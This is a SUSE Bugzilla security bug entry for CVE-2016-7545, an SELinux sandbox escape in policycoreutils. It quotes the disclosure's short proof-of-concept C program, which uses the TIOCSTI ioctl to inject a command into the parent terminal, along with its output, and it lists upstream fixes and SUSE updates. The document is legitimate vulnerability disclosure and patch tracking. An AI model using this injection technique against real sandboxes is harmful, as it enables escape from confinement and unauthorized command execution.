Bugzilla – Bug 1000998
VUL-1: CVE-2016-7545: policycoreutils: nonpriv session can escape to the parent session
Last modified: 2017-12-22 12:32:57 UTC
CVE-2016-7545 info: http://seclists.org/oss-sec/2016/q3/606 ========== Hi, When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox. $ cat test.c #include <unistd.h> #include <sys/ioctl.h> int main() { char *cmd = "id\n"; while(*cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); } $ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176 $ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Bug report: https://bugzilla.redhat.com/show_bug.cgi?id=1378577 Upstream fix: https://marc.info/?l=selinux&m=147465160112766&w=2 https://marc.info/?l=selinux&m=147466045909969&w=2 https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379 Federico Bento. ========== Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1378577
bugbot adjusting priority
Sandboxing has been broken for a while. Will have a look at this this or next week.
SUSE-SU-2017:0338-1: An update that fixes one vulnerability is now available. Category: security (low) Bug References: 1000998 CVE References: CVE-2016-7545 Sources used: SUSE Linux Enterprise Server for Raspberry Pi 12-SP2 (src): policycoreutils-2.5-6.1 SUSE Linux Enterprise Server 12-SP2 (src): policycoreutils-2.5-6.1
SUSE-SU-2017:0339-1: An update that fixes one vulnerability is now available. Category: security (low) Bug References: 1000998 CVE References: CVE-2016-7545 Sources used: SUSE Linux Enterprise Server 11-SP4 (src): policycoreutils-2.0.79-4.8.1 SUSE Linux Enterprise Debuginfo 11-SP4 (src): policycoreutils-2.0.79-4.8.1
SUSE-SU-2017:0340-1: An update that fixes one vulnerability is now available. Category: security (low) Bug References: 1000998 CVE References: CVE-2016-7545 Sources used: SUSE Linux Enterprise Server 12-SP1 (src): policycoreutils-2.3-3.3.1
fixed